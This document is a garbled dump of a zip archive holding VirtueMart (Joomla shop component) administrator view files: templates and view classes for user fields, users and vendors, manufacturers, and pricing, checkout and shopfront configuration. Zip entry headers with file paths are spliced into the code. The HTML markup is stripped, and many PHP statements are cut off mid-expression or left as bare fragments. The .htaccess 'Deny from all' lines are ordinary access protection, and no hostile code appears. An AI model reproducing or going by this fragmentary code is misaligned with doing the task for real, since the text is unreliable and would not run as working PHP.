        setQuery("SHOW COLUMNS FROM `#__virtuemart_userfields`"); $existingFields = '"'.implode('","',$db->loadResultArray()).'"'; ?> PK@y>\)9components/com_virtuemart/views/userfields/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\:components/com_virtuemart/views/userfields/tmpl/index.htmlnuW+APK@y>\;components/com_virtuemart/views/userfields/tmpl/default.phpnuW+A
        userfieldsList); $i < $n; $i++) { $row = $this->userfieldsList[$i]; // vmdebug('my rows',$row); $coreField = (in_array($row->name, $this->lists['coreFields'])); $image = (JVM_VERSION===1) ? 'checked_out.png' : 'admin/checked_out.png'; $image = JHtml::_('image.administrator', $image, '/images/', null, null, JText::_('COM_VIRTUEMART_FIELDMANAGER_COREFIELD')); //$checked = '
        '.JHTML::_('grid.id', $i, null,$row->virtuemart_userfield_id); $checked = JHTML::_('grid.id', $i ,$row->virtuemart_userfield_id,null,'virtuemart_userfield_id'); if ($coreField) $checked.=''. $image .''; $checked .= '
        '; // There is no reason not to allow moving of the core fields. We only need to disable deletion of them // ($coreField) ? // ''. $image .'' : $editlink = JROUTE::_('index.php?option=com_virtuemart&view=userfields&task=edit&virtuemart_userfield_id=' . $row->virtuemart_userfield_id); $required = $this->toggle($row->required, $i, 'toggle.required', $coreField); // $published = JHTML::_('grid.published', $row, $i); $published = $this->toggle($row->published, $i, 'toggle.published', $coreField); $registration = $this->toggle($row->registration, $i, 'toggle.registration', $coreField); $shipment = $this->toggle($row->shipment, $i, 'toggle.shipment', $coreField); $account = $this->toggle($row->account, $i, 'toggle.account', $coreField); $ordering = ($this->lists['filter_order'] == 'ordering'); $disabled = ($ordering ? '' : 'disabled="disabled"'); ?>
        sort('name','COM_VIRTUEMART_FIELDMANAGER_NAME') ?> sort('type','COM_VIRTUEMART_FIELDMANAGER_TYPE') ?> sort('ordering','COM_VIRTUEMART_FIELDMANAGER_REORDER') ?> userfieldsList ); ?> sort('virtuemart_userfield_id', 'COM_VIRTUEMART_ID') ?>
        name); ?> title); ?> type); ?> pagination->orderUpIcon( $i, true, 'orderup', JText::_('COM_VIRTUEMART_MOVE_UP'), $ordering ); ?> pagination->orderDownIcon( $i, $n, true, 'orderdown', JText::_('COM_VIRTUEMART_MOVE_DOWN'), $ordering ); ?> class="text_area" style="text-align: center" /> virtuemart_userfield_id; ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\y8components/com_virtuemart/views/userfields/view.json.phpnuW+AsetQuery($q); $this->plugin = $db ->loadObject(); if (!class_exists('vmParameters')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'parameterparser.php'); $parameters = new vmParameters($this->plugin , $this->plugin->element , 'plugin' ,'vmuserfield'); $lang = JFactory::getLanguage(); $filename = 'plg_vmuserfield_' . $this->plugin->element; if(VmConfig::get('enableEnglish', 1)){ $lang->load($filename, JPATH_ADMINISTRATOR, 'en-GB', true); } $lang->load($filename, JPATH_ADMINISTRATOR, $lang->getDefault(), true); $lang->load($filename, JPATH_ADMINISTRATOR, null, true); echo $parameters->render(); //echo ''; jExit(); } } jExit(); } } // pure php no closing tag PK@y>\#o,,*components/com_virtuemart/views/index.htmlnuW+APK@y>\).components/com_virtuemart/views/user/.htaccessnuW+A Order allow,deny Deny from all PK@y>\/components/com_virtuemart/views/user/index.htmlnuW+APK@y>\2[9components/com_virtuemart/views/user/tmpl/edit_vendor.phpnuW+A langList; ?>
        :
        :
        :
        :
        : currencies, 'vendor_currency', '', 'virtuemart_currency_id', 'currency_name', $this->vendor->vendor_currency); ?>
        : currencies, 'vendor_accepted_currencies[]', 'size=10 multiple="multiple" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"', 'virtuemart_currency_id', 'currency_name', $this->vendor->vendor_accepted_currencies); ?>
        vendor->images[0]->displayFilesHandler($this->vendor->virtuemart_media_id,'vendor'); ?>
        editor->display('vendor_store_desc', $this->vendor->vendor_store_desc, '100%', 350, 70, 15)?>
        editor->display('vendor_terms_of_service', $this->vendor->vendor_terms_of_service, '100%', 350, 70, 15)?>
        editor->display('vendor_legal_info', $this->vendor->vendor_legal_info, '100%', 100, 70, 15)?>
        vendor); ?>
        PK@y>\w·  5components/com_virtuemart/views/user/tmpl/default.phpnuW+A
        userList); $i < $n; $i++) { $row = $this->userList[$i]; $checked = JHTML::_('grid.id', $i, $row->id); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=user&task=edit&virtuemart_user_id[]=' . $row->id); $is_vendor = $this->toggle($row->is_vendor, $i, 'toggle.user_is_vendor'); ?>
        sort('ju.username', 'COM_VIRTUEMART_USERNAME') ?> sort('ju.name', 'COM_VIRTUEMART_USER_DISPLAYED_NAME') ?> sort('shopper_group_name', 'COM_VIRTUEMART_SHOPPERGROUP') ?>
        username; ?> name; ?> email; ?> perm->getPermissions($row->id); // if(empty($row->perms)) $row->perms = 'shopper'; // echo $row->perms . ' / (' . $row->usertype . ')'; ?> shopper_group_name)) $row->shopper_group_name = $this->defaultShopperGroup; echo $row->shopper_group_name; ?> id; ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\4components/com_virtuemart/views/user/tmpl/index.htmlnuW+APK@y>\پ22?components/com_virtuemart/views/user/tmpl/edit_vendorletter.phpnuW+A

        JText::_('COM_VIRTUEMART_VENDOR_LETTER_A4'), 'Letter'=>JText::_('COM_VIRTUEMART_VENDOR_LETTER_LETTER')), $default=$this->vendor->vendor_letter_format, $attrib='', 'value', 'text', $zero=false); ?> JText::_('COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_PORTRAIT'), 'L'=>JText::_('COM_VIRTUEMART_VENDOR_LETTER_ORIENTATION_LANDSCAPE')), $default=$this->vendor->vendor_letter_orientation, $attrib='', 'value', 'text', $zero=false); ?> vendor->vendor_letter_add_tos); ?> vendor->vendor_letter_add_tos_newpage); ?>
        :
        mm
        :
        mm
        :
        mm
        :
        mm
        :
        mm
        :
        mm
        pdfFonts, 'vendor_letter_font', 'size', 'value', 'text', $this->vendor->vendor_letter_font); // echo JHTML::link('http://dev.virtuemart.net/','Get More Fonts!','target="_blank"'); ?>
        : pt
        : pt
        : pt
        :
        vendor->vendor_letter_header); ?> :
        vendor->vendor_letter_header_line); ?> :
        vendor->vendor_letter_header_image); ?> :
        editor->display('vendor_letter_header_html', $this->vendor->vendor_letter_header_html, '100%', 200, 70, 15)?>

        vendor->vendor_letter_footer); ?> :
        vendor->vendor_letter_footer_line); ?> :
        editor->display('vendor_letter_footer_html', $this->vendor->vendor_letter_footer_html, '100%', 200, 70, 15)?>

        PK@y>\)l <components/com_virtuemart/views/user/tmpl/edit_orderlist.phpnuW+A
        orderlist as $i => $row) { $editlink = JROUTE::_('index.php?option=com_virtuemart&view=orders&task=edit&virtuemart_order_id=' . $row->virtuemart_order_id); //OrderPrint is deprecated // $print_url = JURI::base().'?option=com_virtuemart&view=orders&task=orderPrint&virtuemart_order_id='.$row->virtuemart_order_id.'&format=raw'; // $print_link = " " // . JHTML::_('image.site', 'printButton.png', ((JVM_VERSION===1) ? '/images/M_images/' : '/images/system/'), null, null, JText::_('COM_VIRTUEMART_PRINT'), array('align' => 'center', 'height'=> '16', 'width' => '16', 'border' => '0')).''; ?>
        order_number; ?> created_on,'LC2',true); ?> modified_on,'LC2',true); ?> order_status); ?> currency->priceDisplay($row->order_total); ?>
        PK@y>\ޤ:components/com_virtuemart/views/user/tmpl/edit_shopper.phpnuW+A
        lists['vendors']; ?>
        userDetails->perms; ?>
        lists['shoppergroups']; ?>
        userDetails->JUser->get('id') ) { ?>
        lists['shipTo']; ?>
        userFieldsBT['functions']) > 0) { echo ''."\n"; } for ($_i = 0, $_n = count($this->userFieldsBT['fields']); $_i < $_n; $_i++) { // Do this at the start of the loop, since we're using 'continue' below! if ($_i == 0) { $_field = current($this->userFieldsBT['fields']); } else { $_field = next($this->userFieldsBT['fields']); } if ($_field['hidden'] == true) { $_hiddenFields .= $_field['formcode']."\n"; continue; } if ($_field['type'] == 'delimiter') { if ($_set) { // We're in Fieldset. Close this one and start a new if ($_table) { echo ' '."\n"; $_table = false; } echo '
        '."\n"; } $_set = true; echo '
        '."\n"; echo ' '."\n"; echo ' ' . $_field['title']; echo ' '."\n"; continue; } if (!$_table) { // A table hasn't been opened as well. We need one here, echo ' '."\n"; $_table = true; } echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; } if ($_table) { echo '
        '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
        '."\n"; } if ($_set) { echo '
        '."\n"; } echo $_hiddenFields; ?>
        lists['canBlock']) : ?> lists['canSetMailopt']) : ?> userDetails->JUser ) : ?>
        lists['block']; ?>
        lists['sendEmail']; ?>
        userDetails->JUser->get('registerDate');?>
        userDetails->JUser->get('lastvisitDate'); ?>
        lists['params'], 'render'))) { echo $this->lists['params']->render('params'); } ?>
        contactDetails ) { ?>




        contactDetails->image) { ?>
        : contactDetails->name;?>
        : contactDetails->con_position;?>
        : contactDetails->telephone;?>
        : contactDetails->fax;?>
        contactDetails->misc;?>
        Contact

        PK@y>\)3components/com_virtuemart/views/user/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\5 9components/com_virtuemart/views/user/tmpl/edit_shipto.phpnuW+A
        shipToFields); if (count($this->shipToFields['functions']) > 0) { echo ''."\n"; } for ($_i = 0, $_n = count($this->shipToFields['fields']); $_i < $_n; $_i++) { // Do this at the start of the loop, since we're using 'continue' below! if ($_i == 0) { $_field = current($this->shipToFields['fields']); } else { $_field = next($this->shipToFields['fields']); } if ($_field['hidden'] == true) { $_hiddenFields .= $_field['formcode']."\n"; continue; } if ($_field['type'] == 'delimiter') { if ($_set) { // We're in Fieldset. Close this one and start a new if ($_table) { echo ' '."\n"; $_table = false; } echo '
        '."\n"; } $_set = true; echo '
        '."\n"; echo ' '."\n"; echo ' ' . $_field['title']; echo ' '."\n"; continue; } if (!$_table) { // A table hasn't been opened as well. We need one here, echo ' '."\n"; $_table = true; } echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '."\n"; } if ($_table) { echo '
        '."\n"; echo ' '."\n"; echo ' '."\n"; echo ' '.$_field['formcode']."\n"; echo '
        '."\n"; } if ($_set) { echo '
        '."\n"; } echo $_hiddenFields; if(!empty($this->virtuemart_userinfo_id)){ echo ''; } ?> PK@y>\7  2components/com_virtuemart/views/user/tmpl/edit.phpnuW+A
        userDetails->user_is_vendor){ $tabarray['vendor'] = 'COM_VIRTUEMART_VENDOR'; $tabarray['vendorletter'] = 'COM_VIRTUEMART_VENDORLETTER'; } $tabarray['shopper'] = 'COM_VIRTUEMART_SHOPPER_FORM_LBL'; //$tabarray['user'] = 'COM_VIRTUEMART_USER_FORM_TAB_GENERALINFO'; if ($this->shipToId != 0 || $this->new) { $tabarray['shipto'] = 'COM_VIRTUEMART_USER_FORM_SHIPTO_LBL'; } if (($_ordcnt = count($this->orderlist)) > 0) { $tabarray['orderlist'] = 'COM_VIRTUEMART_ORDER_LIST_LBL'; } AdminUIHelper::buildTabs ( $this, $tabarray,'vm-user'); ?> addStandardHiddenToForm(); ?>
        PK@y>\55$5$2components/com_virtuemart/views/user/view.html.phpnuW+AassignRef('perm',$perm); $model = VmModel::getModel(); $currentUser = JFactory::getUser(); $task = JRequest::getWord('task', 'edit'); if($task == 'editshop'){ if(Vmconfig::get('multix','none') !=='none'){ //Maybe we must check here if the user is vendor and if he has an own id and else map to mainvendor. $userId = 0; } else { if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $userId = VirtueMartModelVendor::getUserIdByVendorId(1); } $this->SetViewTitle('STORE' ); } else if ($task == 'add'){ $userId = 0; } else { $userId = JRequest::getVar('virtuemart_user_id',0); if(is_array($userId)){ $userId = $userId[0]; } $this->SetViewTitle('USER'); } $userId = $model->setId($userId); //$layoutName = JRequest::getWord('layout', 'default'); $layoutName = $this->getLayout(); if ($layoutName == 'edit' || $layoutName == 'edit_shipto') { $editor = JFactory::getEditor(); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); $userDetails = $model->getUser(); if($task == 'editshop' && $userDetails->user_is_vendor){ // $model->setCurrent(); if(!empty($userDetails->vendor->vendor_store_name)){ $this->SetViewTitle('STORE',$userDetails->vendor->vendor_store_name, 'shop_mart' ); } else { $this->SetViewTitle('STORE',JText::_('COM_VIRTUEMART_NEW_VENDOR') , 'shop_mart'); } $vendorid = $userDetails->virtuemart_vendor_id; } else { $vendorid = 0 ; $this->SetViewTitle('USER',$userDetails->JUser->get('name')); } $_new = ($userDetails->JUser->get('id') < 1); $this->addStandardEditViewCommands($vendorid); // User details $_contactDetails = $model->getContactDetails(); $_groupList = $model->getGroupList(); if (!is_array($_groupList)) { $this->lists['gid'] = ''. JText::_($_groupList) .''; } else { $this->lists['gid'] = JHTML::_('select.genericlist', $_groupList, 'gid', 'size="10"', 'value', 'text', $userDetails->JUser->get('gid')); } $this->lists['canBlock'] = ($currentUser->authorize('com_users', 'block user') && ($userDetails->JUser->get('id') != $currentUser->get('id'))); // Can't block myself $this->lists['canSetMailopt'] = $currentUser->authorize('workflow', 'email_events'); $this->lists['block'] = JHTML::_('select.booleanlist', 'block', 'class="inputbox"', $userDetails->JUser->get('block'), 'COM_VIRTUEMART_YES', 'COM_VIRTUEMART_NO'); $this->lists['sendEmail'] = JHTML::_('select.booleanlist', 'sendEmail', 'class="inputbox"', $userDetails->JUser->get('sendEmail'), 'COM_VIRTUEMART_YES', 'COM_VIRTUEMART_NO'); $this->lists['params'] = $userDetails->JUser->getParameters(true); // Shopper info $this->lists['shoppergroups'] = ShopFunctions::renderShopperGroupList($userDetails->shopper_groups,true, 'virtuemart_shoppergroup_id'); $this->lists['vendors'] = ShopFunctions::renderVendorList($userDetails->virtuemart_vendor_id); $model->setId($userDetails->JUser->get('id')); $this->lists['custnumber'] = $model->getCustomerNumberById(); // Shipment address(es) $this->lists['shipTo'] = ShopFunctions::generateStAddressList($this,$model,'addST'); $new = false; if(JRequest::getInt('new','0')===1){ $new = true; } $virtuemart_userinfo_id_BT = $model->getBTuserinfo_id($userId); $userFieldsArray = $model->getUserInfoInUserFields($layoutName,'BT',$virtuemart_userinfo_id_BT,false); $userFieldsBT = $userFieldsArray[$virtuemart_userinfo_id_BT]; //$this->lists['perms'] = JHTML::_('select.genericlist', Permissions::getUserGroups(), 'perms', '', 'group_name', 'group_name', $userDetails->perms); // Load the required scripts if (count($userFieldsBT['scripts']) > 0) { foreach ($userFieldsBT['scripts'] as $_script => $_path) { JHTML::script($_script, $_path); } } // Load the required stylesheets if (count($userFieldsBT['links']) > 0) { foreach ($userFieldsBT['links'] as $_link => $_path) { JHTML::stylesheet($_link, $_path); } } $this->assignRef('userFieldsBT', $userFieldsBT); $this->assignRef('userInfoID', $virtuemart_userinfo_id_BT); $addrtype = vRequest::getCmd('addrtype'); if ($layoutName == 'edit_shipto' or $task=='addST' or $addrtype=='ST') { $virtuemart_userinfo_id = JRequest::getString('virtuemart_userinfo_id', '0',''); $userFieldsArray = $model->getUserInfoInUserFields($layoutName,'ST',$virtuemart_userinfo_id,false); if($new ){ $virtuemart_userinfo_id = 0; } else { } $userFieldsST = $userFieldsArray[$virtuemart_userinfo_id]; $this->assignRef('shipToFields', $userFieldsST); } $this->assignRef('shipToId', $virtuemart_userinfo_id); $this->assignRef('new', $new); if (!$_new) { // Check for existing orders for this user $orders = VmModel::getModel('orders'); $orderList = $orders->getOrdersList($userDetails->JUser->get('id'), true); } else { $orderList = null; } if (count($orderList) > 0 || !empty($userDetails->user_is_vendor)) { if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'currencydisplay.php'); $currency = CurrencyDisplay::getInstance(); $this->assignRef('currency',$currency); } // vmdebug('user $userDetails ', $userDetails ); if (!empty($userDetails->user_is_vendor)) { $vendorModel = VmModel::getModel('vendor'); $vendorModel->setId($userDetails->virtuemart_vendor_id); $vendorModel->addImages($userDetails->vendor); $this->assignRef('vendor', $userDetails->vendor); $currencyModel = VmModel::getModel('currency'); $_currencies = $currencyModel->getCurrencies(); $this->assignRef('currencies', $_currencies); $configModel = VmModel::getModel('config'); $this->assignRef('pdfFonts', $configModel->getTCPDFFontsList()); } $this->assignRef('userDetails', $userDetails); $this->assignRef('orderlist', $orderList); $this->assignRef('contactDetails', $_contactDetails); $this->assignRef('editor', $editor); } else { JToolBarHelper::divider(); JToolBarHelper::custom('toggle.user_is_vendor.1', 'publish','','COM_VIRTUEMART_USER_ISVENDOR'); JToolBarHelper::custom('toggle.user_is_vendor.0', 'unpublish','','COM_VIRTUEMART_USER_ISNOTVENDOR'); JToolBarHelper::divider(); JToolBarHelper::deleteList(); JToolBarHelper::editListX(); //This is intentionally, creating new user via BE is buggy and can be done by joomla //JToolBarHelper::addNewX(); $this->addStandardDefaultViewLists($model,'ju.id'); $userList = $model->getUserList(); $this->assignRef('userList', $userList); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); $shoppergroupmodel = VmModel::getModel('shopperGroup'); $defaultShopperGroup = $shoppergroupmodel->getDefault(0)->shopper_group_name; $this->assignRef('defaultShopperGroup', $defaultShopperGroup); } if(!empty($this->orderlist)){ VmConfig::loadJLang('com_virtuemart_orders',TRUE); } parent::display($tpl); } /* * What is this doing here? * */ function renderMailLayout ($doVendor=false) { $tpl = ($doVendor) ? 'mail_html_regvendor' : 'mail_html_reguser'; $this->setLayout($tpl); $vendorModel = VmModel::getModel('vendor'); $vendorId = 1; $vendorModel->setId($vendorId); $vendor = $vendorModel->getVendor(); $vendorModel->addImages($vendor); $this->assignRef('subject', ($doVendor) ? JText::sprintf('COM_VIRTUEMART_NEW_USER_MESSAGE_VENDOR_SUBJECT', $this->user->get('email')) : JText::sprintf('COM_VIRTUEMART_NEW_USER_MESSAGE_SUBJECT',$vendor->vendor_store_name)); parent::display(); } } //No Closing Tag PK@y>\El7components/com_virtuemart/views/manufacturer/index.htmlnuW+A PK@y>\A :components/com_virtuemart/views/manufacturer/view.html.phpnuW+ASetViewTitle(); $layoutName = JRequest::getWord('layout', 'default'); if ($layoutName == 'edit') { $manufacturer = $model->getManufacturer(); $isNew = ($manufacturer->virtuemart_manufacturer_id < 1); $model->addImages($manufacturer); $this->assignRef('manufacturer', $manufacturer); /* Process the images */ $mediaModel = VmModel::getModel('media'); $mediaModel -> setId($manufacturer->virtuemart_media_id); $image = $mediaModel->getFile('manufacturer','image'); $manufacturerCategories = $categoryModel->getManufacturerCategories(false,true); $this->assignRef('manufacturerCategories', $manufacturerCategories); $this->addStandardEditViewCommands($manufacturer->virtuemart_manufacturer_id); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); $this->assignRef('virtuemart_vendor_id', $virtuemart_vendor_id); } else { $mainframe = JFactory::getApplication(); $categoryFilter = $categoryModel->getCategoryFilter(); $this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($model,'mf_name'); $manufacturers = $model->getManufacturers(); $this->assignRef('manufacturers', $manufacturers); $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); $virtuemart_manufacturercategories_id = $mainframe->getUserStateFromRequest( 'com_virtuemart.virtuemart_manufacturercategories_id', 'virtuemart_manufacturercategories_id', 0, 'int' ); $this->lists['virtuemart_manufacturercategories_id'] = JHTML::_('select.genericlist', $categoryFilter, 'virtuemart_manufacturercategories_id', 'class="inputbox" onchange="this.form.submit()"', 'value', 'text', $virtuemart_manufacturercategories_id ); } parent::display($tpl); } } // pure php no closing tag PK@y>\)6components/com_virtuemart/views/manufacturer/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#ͮ =components/com_virtuemart/views/manufacturer/tmpl/default.phpnuW+A
        manufacturers ); $i < $n; $i++) { $row = $this->manufacturers[$i]; $checked = JHTML::_('grid.id', $i, $row->virtuemart_manufacturer_id,null,'virtuemart_manufacturer_id'); $published = JHTML::_('grid.published', $row, $i); $editlink = JROUTE::_('index.php?option=com_virtuemart&view=manufacturer&task=edit&virtuemart_manufacturer_id=' . $row->virtuemart_manufacturer_id); ?>
        sort('mf_name', 'COM_VIRTUEMART_MANUFACTURER_NAME') ; ?> sort('mf_email', 'COM_VIRTUEMART_MANUFACTURER_EMAIL') ; ?> sort('mf_desc', 'COM_VIRTUEMART_MANUFACTURER_DESCRIPTION'); ?> sort('mf_category_name', 'COM_VIRTUEMART_MANUFACTURER_CATEGORY'); ?> sort('mf_url', 'COM_VIRTUEMART_MANUFACTURER_URL'); ?> sort('m.virtuemart_manufacturer_id', 'COM_VIRTUEMART_ID') ?>
        mf_name; ?> mf_email)) echo ''.$row->mf_email ; ?> mf_desc; ?> mf_category_name; ?> mf_url)) echo ''. $row->mf_url ; ?> virtuemart_manufacturer_id; ?>
        pagination->getListFooter(); ?>
        addStandardHiddenToForm(); ?>
        PK@y>\2+ :components/com_virtuemart/views/manufacturer/tmpl/edit.phpnuW+A
        manufacturer->virtuemart_manufacturer_id); // Loading Templates in Tabs END ?> addStandardHiddenToForm(); ?>
        PK@y>\);components/com_virtuemart/views/manufacturer/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\h=Acomponents/com_virtuemart/views/manufacturer/tmpl/edit_images.phpnuW+A
        manufacturer->images[0]->addHidden('virtuemart_vendor_id',$this->virtuemart_vendor_id); echo $this->manufacturer->images[0]->displayFilesHandler($this->manufacturer->virtuemart_media_id,'manufacturer'); ?>
        PK@y>\TnnFcomponents/com_virtuemart/views/manufacturer/tmpl/edit_description.phpnuW+A langList; ?>
        manufacturer->mf_name); ?> manufacturer->published); ?> viewName.' '. JText::_('COM_VIRTUEMART_SLUG'),'slug',$this->manufacturer->slug); ?> manufacturerCategories,$this->manufacturer->virtuemart_manufacturercategories_id,'','virtuemart_manufacturercategories_id', 'mf_category_name',false); ?> manufacturer->mf_url); ?> manufacturer->mf_email); ?> manufacturer->mf_desc); ?>
        PK@y>\))components/com_virtuemart/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)0components/com_virtuemart/views/config/.htaccessnuW+A Order allow,deny Deny from all PK@y>\/?components/com_virtuemart/views/config/tmpl/default_pricing.phpnuW+AaddScriptDeclaration($js); ?>
        config, 'basePrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE'); echo ShopFunctions::writePriceConfigLine($this->config, 'variantModification', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_VARMOD'); echo ShopFunctions::writePriceConfigLine($this->config, 'basePriceVariant', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR'); echo ShopFunctions::writePriceConfigLine($this->config, 'discountedPriceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX', 0); echo ShopFunctions::writePriceConfigLine($this->config, 'priceWithoutTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX', 0); echo ShopFunctions::writePriceConfigLine($this->config, 'taxAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT', 0); echo ShopFunctions::writePriceConfigLine($this->config, 'basePriceWithTax', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX'); echo ShopFunctions::writePriceConfigLine($this->config, 'salesPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE'); echo ShopFunctions::writePriceConfigLine($this->config, 'salesPriceWithDiscount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD'); echo ShopFunctions::writePriceConfigLine($this->config, 'discountAmount', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT'); echo ShopFunctions::writePriceConfigLine($this->config, 'unitPrice', 'COM_VIRTUEMART_ADMIN_CFG_PRICE_UNITPRICE'); ?>
        PK@y>\G7components/com_virtuemart/views/config/tmpl/default.phpnuW+A
        'COM_VIRTUEMART_ADMIN_CFG_SHOPTAB', 'shopfront' => 'COM_VIRTUEMART_ADMIN_CFG_SHOPFRONTTAB', 'templates' => 'COM_VIRTUEMART_ADMIN_CFG_TEMPLATESTAB', 'pricing' => 'COM_VIRTUEMART_ADMIN_CFG_PRICINGTAB', 'checkout' => 'COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB', 'product_order'=> 'COM_VIRTUEMART_ADMIN_CFG_PRODUCTORDERTAB', 'sef' => 'COM_VIRTUEMART_ADMIN_CFG_SEF' )); ?>
        PK@y>\#o,,6components/com_virtuemart/views/config/tmpl/index.htmlnuW+APK@y>\)5components/com_virtuemart/views/config/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V7F%F%@components/com_virtuemart/views/config/tmpl/default_checkout.phpnuW+AaddScriptDeclaration($js); /*
        */ ?>
        JText::_('COM_VIRTUEMART_DELDATE_INV') , 'osP' => JText::_('COM_VIRTUEMART_ORDER_STATUS_PENDING') , 'osU' => JText::_('COM_VIRTUEMART_ORDER_STATUS_CONFIRMED_BY_SHOPPER') , 'osC' => JText::_('COM_VIRTUEMART_ORDER_STATUS_CONFIRMED') , 'osS' => JText::_('COM_VIRTUEMART_ORDER_STATUS_SHIPPED') , 'osR' => JText::_('COM_VIRTUEMART_ORDER_STATUS_REFUNDED') , 'osC' => JText::_('COM_VIRTUEMART_ORDER_STATUS_CANCELLED') ); echo VmHTML::row('selectList','COM_VIRTUEMART_CFG_DELDATE_INV','del_date_type', VmConfig::get('del_date_type','m'), $_delivery_date_options); ?>
        orderStatusModel->renderOSList(VmConfig::get('inv_os',array('C')),'inv_os',TRUE); ?>
        orderStatusModel->renderOSList(VmConfig::get('email_os_s',array('U','C','S','R','X')),'email_os_s',TRUE); ?>
        orderStatusModel->renderOSList(VmConfig::get('email_os_v',array('U','C','R','X')),'email_os_v',TRUE); ?>
        titlesFields ; ?>
        */ ?>PK@y>\>^g7g7Acomponents/com_virtuemart/views/config/tmpl/default_shopfront.phpnuW+A
        '1 ' . JText::_('COM_VIRTUEMART_DAY') , '1,W' => '1 ' . JText::_('COM_VIRTUEMART_WEEK') , '2,W' => '2 ' . JText::_('COM_VIRTUEMART_WEEK_S') , '1,M' => '1 ' . JText::_('COM_VIRTUEMART_MONTH') , '3,M' => '3 ' . JText::_('COM_VIRTUEMART_MONTH_S') , '6,M' => '6 ' . JText::_('COM_VIRTUEMART_MONTH_S') , '1,Y' => '1 ' . JText::_('COM_VIRTUEMART_YEAR') ); echo VmHTML::selectList('coupons_default_expire', VmConfig::get('coupons_default_expire'), $_defaultExpTime); ?>
        orderStatusModel->renderOSList(VmConfig::get('cp_rm',array('C')),'cp_rm',TRUE) ; ?>
        JText::_('COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_MODIFIED'), 'created_on' => JText::_('COM_VIRTUEMART_LATEST_PRODUCTS_ORDERBY_CREATED') ); echo VmHTML::selectList('latest_products_orderBy', VmConfig::get('latest_products_orderBy', 'created_on'), $latest_products_orderBy); ?>
        JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_NONE'), 'disableit' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT'), 'disableit_children' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN'), 'disableadd' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD'), 'risetime' => JText::_('COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME') ); echo VmHTML::radioList('stockhandle', VmConfig::get('stockhandle', 'none'), $options); ?>
        imagePath); ?>
        <?php echo JText::_('COM_VIRTUEMART_PREVIEW'); ?>
        JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_NONE'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_REGISTERED'), 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_SHOW_ALL') ); //showReviewFor echo VmHTML::radioList('showReviewFor', VmConfig::get('showReviewFor', 'all'), $showReviewFor); ?>
        JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_NONE'), 'bought' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_BOUGHT_PRODUCT'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_REGISTERED') // 3 => JText::_('COM_VIRTUEMART_ADMIN_CFG_REVIEW_MODE_ALL') ); echo VmHTML::radioList('reviewMode', VmConfig::get('reviewMode', 'bought'), $showReviewFor); ?>
        JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_NONE'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_REGISTERED'), 'all' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_SHOW_ALL') ); echo VmHTML::radioList('showRatingFor', VmConfig::get('showRatingFor', 'all'), $showReviewFor); ?>
        JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_NONE'), 'bought' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_BOUGHT_PRODUCT'), 'registered' => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_REGISTERED') // 3 => JText::_('COM_VIRTUEMART_ADMIN_CFG_RATING_MODE_ALL') //TODO write system for all users (cookies) ); echo VmHTML::radioList('ratingMode', VmConfig::get('ratingMode', 'bought'), $showReviewFor); ?>
